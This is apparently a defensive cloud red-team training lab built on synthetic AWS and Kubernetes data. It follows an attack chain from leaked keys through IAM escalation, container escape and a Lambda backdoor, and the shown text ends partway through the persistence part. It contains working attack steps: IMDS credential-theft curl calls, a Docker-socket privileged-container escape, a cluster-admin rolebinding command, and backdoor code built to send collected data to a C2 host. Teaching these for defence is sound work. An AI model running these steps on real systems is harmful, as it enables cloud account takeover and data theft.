Skip to content

Lab 13: Cloud Red Team Simulation

Chapter: 46 — Cloud & Container Red Teaming Difficulty: ⭐⭐⭐ Advanced Estimated Time: 3–4 hours Prerequisites: Chapter 46, Chapter 20, basic AWS/Azure knowledge


Overview

In this lab you will:

  1. Perform cloud reconnaissance to identify exposed storage buckets and misconfigured services using synthetic AWS CLI output
  2. Analyze overpermissive IAM policies to discover privilege escalation paths (iam:PassRole, sts:AssumeRole)
  3. Examine container configurations for escape vectors and review Kubernetes RBAC for excessive permissions
  4. Investigate cloud persistence mechanisms including Lambda backdoors and cross-account role trust abuse
  5. Write detection queries (KQL + SPL) to identify each stage of the cloud attack chain
  6. Map all findings to MITRE ATT&CK techniques for cloud environments

Synthetic Data Only

All data in this lab is 100% synthetic and fictional. All IP addresses use RFC 5737 (192.0.2.0/24, 198.51.100.0/24, 203.0.113.0/24) or RFC 1918 (10.0.0.0/8, 172.16.0.0/12) reserved ranges. All AWS account IDs use the synthetic value 123456789012. No real cloud accounts, real credentials, or real infrastructure are referenced. All credentials shown as REDACTED. This lab is for defensive education only — never use these techniques against systems you do not own.


Scenario

Incident Brief — ACME Cloud Corp

Organization: ACME Cloud Corp (fictional) Cloud Provider: AWS (synthetic environment) AWS Account ID: 123456789012 (SYNTHETIC) VPC CIDR: 10.0.0.0/16 Region: us-east-1 (SYNTHETIC) Incident Start: 2026-03-20 09:15 UTC Report Time: 2026-03-20 14:30 UTC Threat Actor Designation: SYNTHETIC-CLOUD-1 (fictional)

Summary: The ACME Cloud Corp security team detected anomalous API calls in their AWS CloudTrail logs originating from an unfamiliar IP address (192.0.2.50). The threat actor obtained leaked developer credentials from a public code repository (SYNTHETIC scenario), used them to enumerate the AWS environment, escalated privileges via an overpermissive IAM role, compromised a containerized workload, established persistence via Lambda functions and cross-account roles, and attempted to exfiltrate data from S3 buckets. The red team exercise reconstructs this attack chain for defensive analysis.


Part 1: Cloud Reconnaissance

1.1 Initial Credential Discovery

The threat actor discovered hardcoded AWS credentials in a public repository. Below is the synthetic commit that exposed them.

# SYNTHETIC repository commit (fictional)
# Repository: github.example/acme-cloud-corp/internal-tools
# Commit: a1b2c3d4e5f6 (SYNTHETIC)
# Author: dev-user@acme-cloud-corp.example
# Date: 2026-03-19T22:14:00Z

diff --git a/config/settings.py b/config/settings.py
+AWS_ACCESS_KEY_ID = "AKIA0000SYNTHETIC01"
+AWS_SECRET_ACCESS_KEY = "REDACTED"
+AWS_DEFAULT_REGION = "us-east-1"
+S3_BUCKET = "acme-internal-data-prod"

Credential Exposure

Hardcoded credentials in source control are one of the most common initial access vectors for cloud compromises. In this scenario the developer committed AWS access keys directly into a public repository. Automated secret-scanning tools (e.g., GitHub Secret Scanning, truffleHog, git-secrets) would have prevented this exposure.


1.2 S3 Bucket Enumeration

Using the leaked credentials, the threat actor enumerated accessible S3 buckets.

# SYNTHETIC AWS CLI output — bucket listing
$ aws s3 ls --profile synthetic-acme
2025-06-12 08:30:00 acme-internal-data-prod
2025-09-03 14:22:00 acme-cloudtrail-logs-123456789012
2025-11-18 10:45:00 acme-terraform-state
2026-01-05 09:00:00 acme-employee-backups
2026-02-14 16:30:00 acme-public-assets
2026-03-01 11:15:00 acme-lambda-deployments
# SYNTHETIC — checking bucket ACLs and policies
$ aws s3api get-bucket-acl --bucket acme-internal-data-prod --profile synthetic-acme
{
    "Owner": {
        "ID": "0000000000000000000000000000000000000000000000000000000000000001"
    },
    "Grants": [
        {
            "Grantee": {
                "Type": "Group",
                "URI": "http://acs.amazonaws.com/groups/global/AllUsers"
            },
            "Permission": "READ"
        },
        {
            "Grantee": {
                "Type": "Group",
                "URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
            },
            "Permission": "FULL_CONTROL"
        }
    ]
}

Critical Misconfiguration

The acme-internal-data-prod bucket has two dangerous grants:

  • AllUsers: READ — Anyone on the internet can list and read objects
  • AuthenticatedUsers: FULL_CONTROL — Any authenticated AWS user (not just ACME employees) can read, write, and modify ACLs

This violates AWS security best practices. S3 Block Public Access should be enabled at the account level.


1.3 CloudTrail Log Analysis — Reconnaissance Phase

The following CloudTrail entries show the threat actor's enumeration activity.

// SYNTHETIC CloudTrail log entries — Reconnaissance
// Trail: acme-cloudtrail-logs-123456789012/AWSLogs/123456789012/CloudTrail/us-east-1/

{
    "Records": [
        {
            "eventTime": "2026-03-20T09:15:22Z",
            "eventSource": "s3.amazonaws.com",
            "eventName": "ListBuckets",
            "awsRegion": "us-east-1",
            "sourceIPAddress": "192.0.2.50",
            "userAgent": "aws-cli/2.15.0 Python/3.11.0 Linux/5.15.0",
            "userIdentity": {
                "type": "IAMUser",
                "arn": "arn:aws:iam::123456789012:user/dev-deploy-svc",
                "accountId": "123456789012",
                "userName": "dev-deploy-svc",
                "accessKeyId": "AKIA0000SYNTHETIC01"
            },
            "responseElements": null,
            "requestParameters": null,
            "readOnly": true
        },
        {
            "eventTime": "2026-03-20T09:15:45Z",
            "eventSource": "s3.amazonaws.com",
            "eventName": "GetBucketAcl",
            "awsRegion": "us-east-1",
            "sourceIPAddress": "192.0.2.50",
            "userIdentity": {
                "type": "IAMUser",
                "arn": "arn:aws:iam::123456789012:user/dev-deploy-svc",
                "accountId": "123456789012",
                "userName": "dev-deploy-svc",
                "accessKeyId": "AKIA0000SYNTHETIC01"
            },
            "requestParameters": {
                "bucketName": "acme-internal-data-prod",
                "acl": ""
            },
            "readOnly": true
        },
        {
            "eventTime": "2026-03-20T09:16:03Z",
            "eventSource": "iam.amazonaws.com",
            "eventName": "ListUsers",
            "awsRegion": "us-east-1",
            "sourceIPAddress": "192.0.2.50",
            "userIdentity": {
                "type": "IAMUser",
                "arn": "arn:aws:iam::123456789012:user/dev-deploy-svc",
                "accountId": "123456789012",
                "userName": "dev-deploy-svc",
                "accessKeyId": "AKIA0000SYNTHETIC01"
            },
            "readOnly": true
        },
        {
            "eventTime": "2026-03-20T09:16:18Z",
            "eventSource": "iam.amazonaws.com",
            "eventName": "ListRoles",
            "awsRegion": "us-east-1",
            "sourceIPAddress": "192.0.2.50",
            "userIdentity": {
                "type": "IAMUser",
                "arn": "arn:aws:iam::123456789012:user/dev-deploy-svc",
                "accountId": "123456789012",
                "userName": "dev-deploy-svc",
                "accessKeyId": "AKIA0000SYNTHETIC01"
            },
            "readOnly": true
        },
        {
            "eventTime": "2026-03-20T09:16:30Z",
            "eventSource": "iam.amazonaws.com",
            "eventName": "ListAttachedUserPolicies",
            "awsRegion": "us-east-1",
            "sourceIPAddress": "192.0.2.50",
            "userIdentity": {
                "type": "IAMUser",
                "arn": "arn:aws:iam::123456789012:user/dev-deploy-svc",
                "accountId": "123456789012",
                "userName": "dev-deploy-svc",
                "accessKeyId": "AKIA0000SYNTHETIC01"
            },
            "requestParameters": {
                "userName": "dev-deploy-svc"
            },
            "readOnly": true
        }
    ]
}

Enumeration Pattern

The threat actor followed a systematic cloud reconnaissance pattern in just over 1 minute:

  1. 09:15:22ListBuckets — Discovered all S3 buckets in the account
  2. 09:15:45GetBucketAcl — Checked permissions on the data bucket
  3. 09:16:03ListUsers — Enumerated IAM users
  4. 09:16:18ListRoles — Enumerated IAM roles (looking for assumable roles)
  5. 09:16:30ListAttachedUserPolicies — Checked own permissions

All calls originated from 192.0.2.50 (SYNTHETIC) using access key AKIA0000SYNTHETIC01. This pattern is consistent with tools like enumerate-iam, Pacu, or ScoutSuite.


1.4 Analysis Questions — Part 1

Question 1: What initial access vector did the threat actor use? What MITRE ATT&CK technique does this map to?

Answer

The threat actor discovered hardcoded AWS credentials (access key AKIA0000SYNTHETIC01 for user dev-deploy-svc) committed to a public repository. This maps to T1552.001 — Unsecured Credentials: Credentials in Files. The credentials were committed on 2026-03-19T22:14:00Z and first used by the attacker on 2026-03-20T09:15:22Z — approximately 11 hours of exposure before exploitation.

Question 2: What security misconfiguration exists on the acme-internal-data-prod S3 bucket, and what is the maximum impact?

Answer

Two critical misconfigurations:

  • AllUsers: READ — Any anonymous internet user can list and download all objects in the bucket
  • AuthenticatedUsers: FULL_CONTROL — Any AWS account holder worldwide can read, write, delete, and change permissions on the bucket

Maximum impact: Complete data breach (read all data), data tampering (modify/replace objects), data destruction (delete all objects), and ACL modification (lock out the legitimate owner). This maps to T1530 — Data from Cloud Storage.

Question 3: From the CloudTrail logs, what enumeration tools or techniques is the threat actor likely using? What is the evidence?

Answer

The systematic, rapid-fire API calls (ListBuckets → GetBucketAcl → ListUsers → ListRoles → ListAttachedUserPolicies) in a 68-second window strongly suggest an automated enumeration tool such as Pacu, enumerate-iam, or ScoutSuite. Evidence:

  • Consistent sourceIPAddress (192.0.2.50) across all calls
  • Consistent userAgent (aws-cli/2.15.0)
  • Logical progression from service enumeration → identity enumeration → permission enumeration
  • No human browsing patterns (no console sign-in events)

Part 2: IAM Privilege Escalation

2.1 Initial User Permissions

The compromised user dev-deploy-svc had the following IAM policy attached.

// SYNTHETIC IAM Policy — dev-deploy-svc-policy
// arn:aws:iam::123456789012:policy/dev-deploy-svc-policy

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "S3DeployAccess",
            "Effect": "Allow",
            "Action": [
                "s3:GetObject",
                "s3:PutObject",
                "s3:ListBucket",
                "s3:GetBucketAcl"
            ],
            "Resource": [
                "arn:aws:s3:::acme-*",
                "arn:aws:s3:::acme-*/*"
            ]
        },
        {
            "Sid": "IAMReadOnly",
            "Effect": "Allow",
            "Action": [
                "iam:ListUsers",
                "iam:ListRoles",
                "iam:ListPolicies",
                "iam:GetPolicy",
                "iam:GetPolicyVersion",
                "iam:GetRole",
                "iam:GetRolePolicy",
                "iam:ListAttachedUserPolicies",
                "iam:ListAttachedRolePolicies",
                "iam:ListRolePolicies"
            ],
            "Resource": "*"
        },
        {
            "Sid": "OverpermissivePassRole",
            "Effect": "Allow",
            "Action": [
                "iam:PassRole"
            ],
            "Resource": "arn:aws:iam::123456789012:role/*"
        },
        {
            "Sid": "LambdaManagement",
            "Effect": "Allow",
            "Action": [
                "lambda:CreateFunction",
                "lambda:InvokeFunction",
                "lambda:UpdateFunctionCode",
                "lambda:UpdateFunctionConfiguration",
                "lambda:ListFunctions",
                "lambda:GetFunction"
            ],
            "Resource": "*"
        },
        {
            "Sid": "STSAssume",
            "Effect": "Allow",
            "Action": [
                "sts:AssumeRole"
            ],
            "Resource": "arn:aws:iam::123456789012:role/admin-*"
        },
        {
            "Sid": "EC2ContainerAccess",
            "Effect": "Allow",
            "Action": [
                "ec2:DescribeInstances",
                "ecs:ListClusters",
                "ecs:DescribeClusters",
                "ecs:ListTasks",
                "ecs:DescribeTasks",
                "eks:ListClusters",
                "eks:DescribeCluster"
            ],
            "Resource": "*"
        }
    ]
}

Privilege Escalation Paths

This policy contains three critical escalation vectors:

  1. iam:PassRole with wildcard resource (arn:aws:iam::123456789012:role/*) — The user can pass any IAM role to an AWS service, including admin roles
  2. lambda:CreateFunction + iam:PassRole — The user can create a Lambda function with an admin role attached, then invoke it to execute arbitrary code as that role
  3. sts:AssumeRole on admin-* — The user can directly assume any role matching admin-*

Any one of these paths alone is sufficient for full account compromise.


2.2 Discoverable Admin Role

The threat actor enumerated roles and found the following overpermissive role.

// SYNTHETIC IAM Role — admin-lambda-execution
// arn:aws:iam::123456789012:role/admin-lambda-execution

{
    "Role": {
        "RoleName": "admin-lambda-execution",
        "Arn": "arn:aws:iam::123456789012:role/admin-lambda-execution",
        "AssumeRolePolicyDocument": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Effect": "Allow",
                    "Principal": {
                        "Service": "lambda.amazonaws.com"
                    },
                    "Action": "sts:AssumeRole"
                },
                {
                    "Effect": "Allow",
                    "Principal": {
                        "AWS": "arn:aws:iam::123456789012:root"
                    },
                    "Action": "sts:AssumeRole"
                }
            ]
        },
        "MaxSessionDuration": 3600,
        "CreateDate": "2025-08-14T10:00:00Z"
    }
}
// Attached policy: AdministratorAccess (AWS Managed)
// arn:aws:iam::aws:policy/AdministratorAccess

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": "*",
            "Resource": "*"
        }
    ]
}

Role Trust Policy Analysis

The admin-lambda-execution role has AdministratorAccess and can be assumed by:

  1. lambda.amazonaws.com — Lambda functions can use this role (legitimate use case, but overpermissive policy)
  2. arn:aws:iam::123456789012:root — Any IAM principal in account 123456789012 can assume this role

Combined with the compromised user's sts:AssumeRole permission on admin-* roles, this provides a direct path to administrative access.


2.3 CloudTrail — Privilege Escalation Execution

// SYNTHETIC CloudTrail — Privilege Escalation via AssumeRole
{
    "Records": [
        {
            "eventTime": "2026-03-20T09:22:15Z",
            "eventSource": "sts.amazonaws.com",
            "eventName": "AssumeRole",
            "awsRegion": "us-east-1",
            "sourceIPAddress": "192.0.2.50",
            "userIdentity": {
                "type": "IAMUser",
                "arn": "arn:aws:iam::123456789012:user/dev-deploy-svc",
                "accountId": "123456789012",
                "userName": "dev-deploy-svc",
                "accessKeyId": "AKIA0000SYNTHETIC01"
            },
            "requestParameters": {
                "roleArn": "arn:aws:iam::123456789012:role/admin-lambda-execution",
                "roleSessionName": "escalation-session",
                "durationSeconds": 3600
            },
            "responseElements": {
                "credentials": {
                    "accessKeyId": "ASIA0000SYNTHETIC02",
                    "sessionToken": "REDACTED",
                    "expiration": "2026-03-20T10:22:15Z"
                },
                "assumedRoleUser": {
                    "arn": "arn:aws:sts::123456789012:assumed-role/admin-lambda-execution/escalation-session",
                    "assumedRoleId": "AROA0000SYNTHETIC01:escalation-session"
                }
            }
        },
        {
            "eventTime": "2026-03-20T09:23:01Z",
            "eventSource": "iam.amazonaws.com",
            "eventName": "CreateUser",
            "awsRegion": "us-east-1",
            "sourceIPAddress": "192.0.2.50",
            "userIdentity": {
                "type": "AssumedRole",
                "arn": "arn:aws:sts::123456789012:assumed-role/admin-lambda-execution/escalation-session",
                "accountId": "123456789012"
            },
            "requestParameters": {
                "userName": "svc-health-monitor"
            },
            "responseElements": {
                "user": {
                    "arn": "arn:aws:iam::123456789012:user/svc-health-monitor",
                    "userId": "AIDA0000SYNTHETIC03",
                    "createDate": "2026-03-20T09:23:01Z",
                    "userName": "svc-health-monitor"
                }
            }
        },
        {
            "eventTime": "2026-03-20T09:23:18Z",
            "eventSource": "iam.amazonaws.com",
            "eventName": "AttachUserPolicy",
            "awsRegion": "us-east-1",
            "sourceIPAddress": "192.0.2.50",
            "userIdentity": {
                "type": "AssumedRole",
                "arn": "arn:aws:sts::123456789012:assumed-role/admin-lambda-execution/escalation-session",
                "accountId": "123456789012"
            },
            "requestParameters": {
                "userName": "svc-health-monitor",
                "policyArn": "arn:aws:iam::aws:policy/AdministratorAccess"
            }
        },
        {
            "eventTime": "2026-03-20T09:23:35Z",
            "eventSource": "iam.amazonaws.com",
            "eventName": "CreateAccessKey",
            "awsRegion": "us-east-1",
            "sourceIPAddress": "192.0.2.50",
            "userIdentity": {
                "type": "AssumedRole",
                "arn": "arn:aws:sts::123456789012:assumed-role/admin-lambda-execution/escalation-session",
                "accountId": "123456789012"
            },
            "requestParameters": {
                "userName": "svc-health-monitor"
            },
            "responseElements": {
                "accessKey": {
                    "accessKeyId": "AKIA0000SYNTHETIC03",
                    "status": "Active",
                    "userName": "svc-health-monitor",
                    "createDate": "2026-03-20T09:23:35Z"
                }
            }
        }
    ]
}

Escalation Complete

The attack chain in 78 seconds:

Time (UTC) Action Description
09:22:15 AssumeRole Assumed admin-lambda-execution role → gained AdministratorAccess
09:23:01 CreateUser Created backdoor user svc-health-monitor
09:23:18 AttachUserPolicy Attached AdministratorAccess to backdoor user
09:23:35 CreateAccessKey Generated persistent access keys for backdoor user

The threat actor now has two sets of administrative credentials: the assumed role session (expires in 1 hour) and the new svc-health-monitor access keys (persistent until rotated).


2.4 Analysis Questions — Part 2

Question 4: Identify all three privilege escalation paths available in the dev-deploy-svc IAM policy. Which one did the attacker use?

Answer

Three escalation paths:

  1. Direct AssumeRolests:AssumeRole on arn:aws:iam::123456789012:role/admin-* allows assuming any role matching the admin-* pattern. The admin-lambda-execution role has AdministratorAccess.
  2. Lambda + PassRolelambda:CreateFunction + iam:PassRole (wildcard) allows creating a Lambda function with any role attached, including admin roles. Invoking the function executes code with that role's permissions.
  3. PassRole to any serviceiam:PassRole with arn:aws:iam::123456789012:role/* allows passing any role to any AWS service that supports role attachment (EC2, ECS, Lambda, etc.).

The attacker used Path 1 (Direct AssumeRole) as evidenced by the sts:AssumeRole CloudTrail event at 09:22:15Z targeting admin-lambda-execution.

MITRE ATT&CK mapping: T1078.004 — Valid Accounts: Cloud Accounts.

Question 5: What persistence mechanism did the attacker establish after escalating privileges? Why is this more dangerous than the original compromised credentials?

Answer

The attacker created a new IAM user svc-health-monitor with AdministratorAccess and generated access keys (AKIA0000SYNTHETIC03). This is more dangerous because:

  1. Persistent — Unlike the AssumeRole session (1-hour expiry), the new access keys never expire unless explicitly deleted or deactivated
  2. Independent — Revoking the original dev-deploy-svc credentials does not affect the backdoor user
  3. Camouflaged — The name svc-health-monitor mimics a legitimate service account, making it harder to identify during IAM audits
  4. Full admin — AdministratorAccess grants Action: "*" on Resource: "*" — complete account control

MITRE ATT&CK mapping: T1136.003 — Create Account: Cloud Account.


Part 3: Container Escape Analysis

3.1 ECS/EKS Cluster Enumeration

After escalating privileges, the threat actor enumerated containerized workloads.

# SYNTHETIC — EKS cluster discovery
$ aws eks list-clusters --region us-east-1 --profile escalated-session
{
    "clusters": [
        "acme-prod-cluster",
        "acme-staging-cluster"
    ]
}
# SYNTHETIC — EKS cluster details
$ aws eks describe-cluster --name acme-prod-cluster --region us-east-1 --profile escalated-session
{
    "cluster": {
        "name": "acme-prod-cluster",
        "arn": "arn:aws:eks:us-east-1:123456789012:cluster/acme-prod-cluster",
        "version": "1.28",
        "endpoint": "https://SYNTHETIC000000.gr7.us-east-1.eks.amazonaws.com",
        "certificateAuthority": {
            "data": "REDACTED"
        },
        "platformVersion": "eks.5",
        "status": "ACTIVE",
        "resourcesVpcConfig": {
            "subnetIds": [
                "subnet-0000000000000001",
                "subnet-0000000000000002"
            ],
            "securityGroupIds": [
                "sg-0000000000000001"
            ],
            "clusterSecurityGroupId": "sg-0000000000000002",
            "vpcId": "vpc-0000000000000001",
            "endpointPublicAccess": true,
            "endpointPrivateAccess": true,
            "publicAccessCidrs": [
                "0.0.0.0/0"
            ]
        },
        "logging": {
            "clusterLogging": [
                {
                    "types": ["api", "audit"],
                    "enabled": false
                }
            ]
        }
    }
}

EKS Misconfigurations

  • Public API endpoint with 0.0.0.0/0 — The Kubernetes API server is accessible from any IP address on the internet
  • Audit logging disabled — API audit events are not being captured, creating a visibility gap
  • Both misconfigurations violate CIS EKS Benchmark controls

3.2 Vulnerable Pod Configuration

The threat actor discovered a pod running with dangerous security settings.

# SYNTHETIC Kubernetes Pod Specification
# Namespace: acme-prod
# Retrieved via: kubectl get pod data-processor-7b8c9d -n acme-prod -o yaml

apiVersion: v1
kind: Pod
metadata:
  name: data-processor-7b8c9d
  namespace: acme-prod
  labels:
    app: data-processor
    tier: backend
spec:
  serviceAccountName: data-processor-sa
  hostNetwork: true                          # CRITICAL: Shares host network namespace
  hostPID: true                              # CRITICAL: Can see host processes
  containers:
  - name: data-processor
    image: 123456789012.dkr.ecr.us-east-1.amazonaws.com/data-processor:latest
    securityContext:
      privileged: true                       # CRITICAL: Full host privileges
      runAsUser: 0                           # CRITICAL: Running as root
      allowPrivilegeEscalation: true         # CRITICAL: Can escalate privileges
      capabilities:
        add:
        - SYS_ADMIN                          # CRITICAL: Mount filesystems, etc.
        - NET_ADMIN                          # Can modify network config
        - SYS_PTRACE                         # Can trace/debug other processes
    volumeMounts:
    - name: host-root
      mountPath: /host
    - name: docker-sock
      mountPath: /var/run/docker.sock        # CRITICAL: Docker socket mounted
    env:
    - name: AWS_ACCESS_KEY_ID
      value: "AKIA0000SYNTHETIC04"           # Hardcoded credentials in env
    - name: AWS_SECRET_ACCESS_KEY
      value: "REDACTED"
    ports:
    - containerPort: 8080
    resources:
      limits:
        memory: "512Mi"
        cpu: "500m"
  volumes:
  - name: host-root
    hostPath:
      path: /                                # CRITICAL: Entire host filesystem mounted
      type: Directory
  - name: docker-sock
    hostPath:
      path: /var/run/docker.sock             # CRITICAL: Docker socket accessible
      type: Socket

Container Escape Vectors (8 Critical Issues)

# Finding Risk Escape Path
1 privileged: true CRITICAL Full access to host kernel, all devices
2 hostPID: true HIGH Can see and interact with host processes
3 hostNetwork: true HIGH Can sniff and inject traffic on host network
4 runAsUser: 0 HIGH Container runs as root
5 SYS_ADMIN capability CRITICAL Can mount filesystems, access host
6 Host root mounted at /host CRITICAL Direct read/write to entire host filesystem
7 Docker socket mounted CRITICAL Can create new privileged containers on host
8 Hardcoded AWS credentials in env HIGH Credentials exposed via env command or /proc

Any single one of items 1, 5, 6, or 7 alone is sufficient for a complete container escape.


3.3 Container Escape Simulation

The threat actor exploited the mounted host filesystem and Docker socket to escape the container.

# SYNTHETIC — Container escape via host filesystem mount
# Executed inside data-processor-7b8c9d

# Step 1: Verify host filesystem access
$ ls /host/etc/hostname
acme-eks-node-01.internal

# Step 2: Read host SSH keys
$ cat /host/root/.ssh/authorized_keys
ssh-rsa AAAA0000SYNTHETIC...== admin@acme-cloud-corp.example

# Step 3: Access IMDS (Instance Metadata Service) via host network
$ curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
eks-node-role

$ curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/eks-node-role
{
    "Code": "Success",
    "Type": "AWS-HMAC",
    "AccessKeyId": "ASIA0000SYNTHETIC05",
    "SecretAccessKey": "REDACTED",
    "Token": "REDACTED",
    "Expiration": "2026-03-20T15:30:00Z",
    "LastUpdated": "2026-03-20T09:30:00Z"
}

# Step 4: Escape via Docker socket — spawn a privileged container on the host
$ curl -s --unix-socket /var/run/docker.sock \
    -X POST http://localhost/containers/create \
    -H "Content-Type: application/json" \
    -d '{
        "Image": "alpine:latest",
        "Cmd": ["sh", "-c", "echo SYNTHETIC-ESCAPE > /hostfs/tmp/escape-proof"],
        "HostConfig": {
            "Binds": ["/:/hostfs"],
            "Privileged": true
        }
    }'
{"Id":"0000000000000000000000000000000000000000000000000000000000000099"}

SYNTHETIC Demonstration

The above commands are synthetic and educational. In a real container escape scenario, the attacker would gain full control of the underlying EKS worker node, including access to the Instance Metadata Service (IMDS) and any IAM role attached to the node. IMDSv2 (requiring session tokens) mitigates direct IMDS access from containers.


3.4 Kubernetes RBAC — Overpermissive Service Account

# SYNTHETIC — Kubernetes ClusterRole and ClusterRoleBinding
# The data-processor service account has excessive RBAC permissions

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: data-processor-role
rules:
- apiGroups: [""]
  resources: ["pods", "pods/exec", "pods/log", "secrets", "configmaps", "nodes"]
  verbs: ["get", "list", "watch", "create", "update", "delete"]
- apiGroups: ["apps"]
  resources: ["deployments", "daemonsets", "statefulsets"]
  verbs: ["get", "list", "watch", "create", "update", "delete"]
- apiGroups: ["rbac.authorization.k8s.io"]
  resources: ["clusterroles", "clusterrolebindings"]
  verbs: ["get", "list", "create", "bind"]                    # Can create new RBAC bindings
- apiGroups: [""]
  resources: ["serviceaccounts"]
  verbs: ["get", "list", "create", "update"]
- apiGroups: [""]
  resources: ["serviceaccounts/token"]
  verbs: ["create"]                                            # Can mint SA tokens
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: data-processor-binding
subjects:
- kind: ServiceAccount
  name: data-processor-sa
  namespace: acme-prod
roleRef:
  kind: ClusterRole
  name: data-processor-role
  apiGroup: rbac.authorization.k8s.io

RBAC Escalation Risks

The data-processor-sa service account can:

  • Read secrets across all namespaces (secrets: get, list) — can harvest other service account tokens and application secrets
  • Exec into pods (pods/exec) — can execute commands in any running pod
  • Create RBAC bindings (clusterrolebindings: create, bind) — can grant itself or others cluster-admin privileges
  • Mint service account tokens (serviceaccounts/token: create) — can generate tokens for any service account

This is effectively cluster-admin without being named as such.


3.5 Analysis Questions — Part 3

Question 6: List all container escape vectors present in the pod specification. Which single misconfiguration provides the easiest escape path?

Answer

Container escape vectors:

  1. privileged: true — Full host kernel access
  2. hostPID: true — Host process visibility, enables process injection via SYS_PTRACE
  3. hostNetwork: true — Host network namespace, enables IMDS access and network sniffing
  4. runAsUser: 0 — Root inside container
  5. SYS_ADMIN capability — Can mount filesystems
  6. Host root (/) mounted at /host — Direct host filesystem access
  7. Docker socket (/var/run/docker.sock) mounted — Can create new containers on host
  8. allowPrivilegeEscalation: true — Can gain additional privileges

Easiest escape: The host root filesystem mounted at /host provides the simplest escape — no exploit needed, just chroot /host or directly read/write any file on the host. It requires zero technical sophistication.

MITRE ATT&CK mapping: T1611 — Escape to Host.

Question 7: How could the attacker leverage the Kubernetes RBAC permissions to achieve cluster-wide compromise?

Answer

The service account can achieve cluster-wide compromise through multiple paths:

  1. Secret harvesting: kubectl get secrets --all-namespaces to collect all secrets including other SA tokens, TLS certificates, database passwords, and API keys
  2. RBAC escalation: Create a new ClusterRoleBinding that binds cluster-admin to the data-processor-sa service account:
    kubectl create clusterrolebinding escalation --clusterrole=cluster-admin --serviceaccount=acme-prod:data-processor-sa
    
  3. Token minting: Create tokens for more privileged service accounts in other namespaces
  4. Pod exec: Execute commands in any pod across all namespaces to access application data, environment variables, and mounted secrets
  5. DaemonSet deployment: Create a DaemonSet with hostPID/hostNetwork to run on every node

MITRE ATT&CK mapping: T1078.001 — Valid Accounts: Default Accounts (abuse of default service account permissions).


Part 4: Cloud Persistence

4.1 Lambda Backdoor

After gaining admin privileges, the threat actor created a Lambda function as a persistent backdoor.

// SYNTHETIC CloudTrail — Lambda backdoor creation
{
    "Records": [
        {
            "eventTime": "2026-03-20T09:35:00Z",
            "eventSource": "lambda.amazonaws.com",
            "eventName": "CreateFunction20150331",
            "awsRegion": "us-east-1",
            "sourceIPAddress": "192.0.2.50",
            "userIdentity": {
                "type": "AssumedRole",
                "arn": "arn:aws:sts::123456789012:assumed-role/admin-lambda-execution/escalation-session"
            },
            "requestParameters": {
                "functionName": "acme-health-check-prod",
                "runtime": "python3.11",
                "role": "arn:aws:iam::123456789012:role/admin-lambda-execution",
                "handler": "lambda_function.lambda_handler",
                "timeout": 300,
                "memorySize": 256,
                "environment": {
                    "variables": {
                        "C2_ENDPOINT": "https://192.0.2.50:8443/callback",
                        "EXFIL_BUCKET": "acme-internal-data-prod"
                    }
                },
                "tags": {
                    "Team": "platform-engineering",
                    "Environment": "production",
                    "ManagedBy": "terraform"
                }
            }
        }
    ]
}

Synthetic Lambda function code (educational analysis only):

# SYNTHETIC Lambda backdoor — for defensive analysis only
# Function: acme-health-check-prod
# This code is entirely fictional and educational

import json
import boto3
import urllib.request
import os

def lambda_handler(event, context):
    """
    SYNTHETIC backdoor Lambda — masquerades as a health check.
    Educational analysis only — not functional code.
    """
    c2_endpoint = os.environ.get('C2_ENDPOINT', 'https://192.0.2.50:8443/callback')
    exfil_bucket = os.environ.get('EXFIL_BUCKET', 'acme-internal-data-prod')

    # Stage 1: Collect IAM information
    sts = boto3.client('sts')
    caller_identity = sts.get_caller_identity()

    iam = boto3.client('iam')
    users = iam.list_users()['Users']
    roles = iam.list_roles()['Roles']

    # Stage 2: List S3 objects in target bucket
    s3 = boto3.client('s3')
    objects = s3.list_objects_v2(Bucket=exfil_bucket, MaxKeys=100)

    # Stage 3: Beacon to C2 with collected data (SYNTHETIC)
    payload = json.dumps({
        'account_id': caller_identity['Account'],
        'arn': caller_identity['Arn'],
        'user_count': len(users),
        'role_count': len(roles),
        'bucket_objects': objects.get('KeyCount', 0),
        'timestamp': context.function_name
    }).encode()

    # SYNTHETIC — In reality this would exfiltrate data
    # req = urllib.request.Request(c2_endpoint, data=payload)
    # urllib.request.urlopen(req)

    return {
        'statusCode': 200,
        'body': json.dumps({'status': 'healthy'})
    }

Lambda Backdoor Indicators

Key indicators of this backdoor Lambda function:

  • Overpermissive role: Uses admin-lambda-execution (AdministratorAccess) — a health check function should never need admin access
  • C2 endpoint in environment variables: C2_ENDPOINT pointing to 192.0.2.50:8443
  • Exfiltration target configured: EXFIL_BUCKET environment variable
  • Tag manipulation: Tagged as ManagedBy: terraform to appear as infrastructure-as-code managed, discouraging manual inspection
  • Legitimate-sounding name: acme-health-check-prod mimics a standard health check service

4.2 EventBridge Scheduled Trigger

The threat actor configured EventBridge to invoke the backdoor Lambda on a schedule.

// SYNTHETIC CloudTrail — EventBridge rule creation
{
    "eventTime": "2026-03-20T09:36:30Z",
    "eventSource": "events.amazonaws.com",
    "eventName": "PutRule",
    "sourceIPAddress": "192.0.2.50",
    "userIdentity": {
        "type": "AssumedRole",
        "arn": "arn:aws:sts::123456789012:assumed-role/admin-lambda-execution/escalation-session"
    },
    "requestParameters": {
        "name": "acme-health-check-schedule",
        "scheduleExpression": "rate(15 minutes)",
        "state": "ENABLED",
        "description": "Production health check monitoring"
    }
}
// SYNTHETIC CloudTrail — Target configuration
{
    "eventTime": "2026-03-20T09:36:45Z",
    "eventSource": "events.amazonaws.com",
    "eventName": "PutTargets",
    "sourceIPAddress": "192.0.2.50",
    "requestParameters": {
        "rule": "acme-health-check-schedule",
        "targets": [
            {
                "id": "health-check-target",
                "arn": "arn:aws:lambda:us-east-1:123456789012:function:acme-health-check-prod"
            }
        ]
    }
}

Scheduled Persistence

The EventBridge rule triggers the backdoor Lambda function every 15 minutes, providing:

  • Persistent C2 beacon without long-running processes
  • Automatic data collection and exfiltration on a schedule
  • Resilience — even if access keys are rotated, the Lambda function runs with its own IAM role
  • Difficult to detect — appears as a legitimate scheduled health check

